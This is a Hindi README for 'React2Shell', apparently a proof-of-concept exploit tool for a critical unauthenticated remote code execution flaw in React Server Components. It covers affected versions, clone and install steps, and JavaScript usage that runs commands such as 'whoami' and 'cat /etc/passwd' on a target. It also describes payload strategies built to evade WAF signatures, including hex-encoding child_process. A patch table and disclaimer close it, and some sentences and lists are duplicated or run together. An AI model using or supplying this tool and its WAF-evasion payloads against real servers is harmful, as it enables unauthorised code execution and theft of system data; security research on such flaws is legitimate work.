
React2Shell (CVE-2025-55182) प्रूफ-ऑफ-कॉन्सेप्ट (PoC) एक्सप्लॉयट जो React Server Components (RSC) का उपयोग करने वाले आधुनिक वेब फ्रेमवर्क्स में एक CRITICAL रिमोट कोड निष्पादन (RCE) भेद्यता प्रदर्शित करता है।
React2Shell एक proof-of-concept (PoC) एक्सप्लॉइट है जो आधुनिक वेब फ्रेमवर्क में React Server Components (RSC) का उपयोग करने वाली एक CRITICAL रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता को प्रदर्शित करता है।
यह PoC CVE-2025-55182 को लक्षित करता है, जो एक CVSS 10.0 भेद्यता है जो बिना प्रमाणीकरण के दूरस्थ हमलावरों को React Server Components इम्प्लीमेंटेशन के भीतर असुरक्षित deserialization के माध्यम से मनमाने सिस्टम कमांड निष्पादित करने की अनुमति देती है।
React2Shell उस दोष का शोषण करता है जिसमें React Server Components rehydration चरण के दौरान अविश्वसनीय इनपुट को संसाधित करते हैं।
यह भेद्यता अंतर्निहित react-server-dom-* पैकेजों में उत्पन्न होती है जो कंपोनेंट ट्री को serialize और deserialize करने के लिए जिम्मेदार हैं।
React Server Components के प्रभावित संस्करणों का उपयोग करने वाले एप्लिकेशन दुर्भावनापूर्ण payloads को इस तरह संसाधित कर सकते हैं जिससे सर्वर प्रोसेस के अधिकारों के तहत रिमोट कोड एक्ज़ीक्यूशन (RCE) हो सकता है।
एक हमलावर यह कर सकता है:
यदि आपकी तैनाती नीचे दिए गए किसी भी भेद्य संस्करण से मेल खाती है और RSC endpoints को उजागर करती है, तो आप vulnerable हैं।
यह भेद्यता निम्नलिखित के संस्करणों 19.0.0, 19.1.0, 19.1.1, और 19.2.0 में मौजूद है:
react-server-dom-parcelreact-server-dom-webpackreact-server-dom-turbopackये पैकेज कई फ्रेमवर्क में बंडल किए गए हैं, जिनमें शामिल हैं लेकिन इन्हीं तक सीमित नहीं:
15.0.0 से 16.0.6 तक14.3.0-canary.76 के बाद के Canary संस्करणRSC (v19.0.0–19.2.0) का उपयोग करते हैं, जैसे:
ViteParcelReact RouterRedwoodSDKWakuकोई भी फ्रेमवर्क जो भेद्य React Server Components इम्प्लीमेंटेशन को एम्बेड करता है, संभावित रूप से प्रभावित है।
React2Shell में एक मॉड्यूलर payload जनरेटर शामिल है जिसे सामान्य Node.js प्रतिबंधों और WAF नियमों को बायपास करने के लिए डिज़ाइन किया गया है:
Standard Injection
process.mainModule.require का उपयोग करता हैNext.js / Webpack बंडलों को लक्षित करता है।Async Bypass
import() का उपयोग करता है जहाँ require उपलब्ध नहीं है।Obfuscation
child_process) को hex बफर में एन्कोड करता है ताकि सरल WAF सिग्नेचर से बचा जा सके।Module Fallback
module.createRequire का लाभ उठाता है।Universal Targeting
//RSC/foo.txtNode.js v18.0.0 या उच्चतर।git clone https://github.com/rsch-io/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell
npm install form-data
React2Shell को आपकी अपनी टेस्टिंग स्क्रिप्ट में एक मॉड्यूल के रूप में import किए जाने का इरादा है।
exploit.js नामक फ़ाइल बनाएं:
const React2Shell = require('./src/react2shell');
// Initialize with target base URL
const target = new React2Shell('http://localhost:3000');
// Execute command using the "standard" strategy
// Arguments: execute(command, endpoint, strategy)
target.execute('whoami', '/', 'standard');
फिर चलाएं:
node exploit.js
नोट
endpointको RSC-सक्षम रूट पर सेट किया जाना चाहिए (उदाहरण के लिए,/,/RSC/foo.txt, या फ्रेमवर्क-विशिष्ट RSC endpoints)।strategyबदला जा सकता है (उदाहरण के लिए,standard,async,obfuscated, याreact2shellमें लागू कोई अन्य strategy)।
Waku और अन्य फ्रेमवर्क अक्सर विशिष्ट रूट्स पर RSC हैंडलिंग को उजागर करते हैं:
// Target a Waku application
// Note: Use 'async' strategy as Waku often runs in strict ESM
target.execute('ls -la', '/RSC/foo.txt', 'async');
यदि सर्वर child_process वाले स्ट्रिंग्स को ब्लॉक करता है, तो आप obfuscated strategy का उपयोग कर सकते हैं:
target.execute('cat /etc/passwd', '/', 'obfuscated');
तुरंत अपडेट करें। React और प्रभावित डाउनस्ट्रीम फ्रेमवर्क के अपडेटेड रिलीज़ में अनपेक्षित व्यवहार को रोकने के लिए उपयोगकर्ता इनपुट की कड़ी हैंडलिंग शामिल है।
सभी उपयोगकर्ताओं को जल्द से जल्द पैच किए गए संस्करण में अपग्रेड करना चाहिए।
नीचे पैच किए गए संस्करणों की निश्चित सूची है। यदि आपका तैनात संस्करण इनसे कम है, तो आप vulnerable हैं।
Next.js 14 उपयोगकर्ताओं के लिए चेतावनी
यदि आपNext.js 14.3.0-canary.77या उसके बाद का canary रिलीज़ उपयोग कर रहे हैं, तो आपvulnerableहैं।
आपको तुरंत नवीनतम स्थिर14.xरिलीज़ पर डाउनग्रेड करना चाहिए, क्योंकि यह भेद्यता उन canary बिल्ड्स में मौजूद प्रयोगात्मक RSC इम्प्लीमेंटेशन को प्रभावित करती है।
यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
इस टूल का उपयोग स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध करना अवैध और अनैतिक है।
लेखक इस टूल के किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेते हैं।
यह प्रोजेक्ट MIT License के तहत लाइसेंस प्राप्त है। विवरण के लिए LICENSE फ़ाइल देखें।
| मेट्रिक | विवरण |
|---|
| गंभीरता | CRITICAL (10.0 / 10.0) |
| वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| हमला वेक्टर | Network (Remote) |
| उपयोगकर्ता सहभागिता | None |
| सॉफ्टवेयर / पैकेज | ब्रांच / प्रकार | 🛡️ फिक्स्ड / सुरक्षित संस्करण |
|---|
React | Stable | 19.0.1, 19.1.2, 19.2.1 |
Next.js | v15 (Stable) | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 |
Next.js | v16 (Stable) | 16.0.7 |
Next.js | Canary | 15.6.0-canary.58 |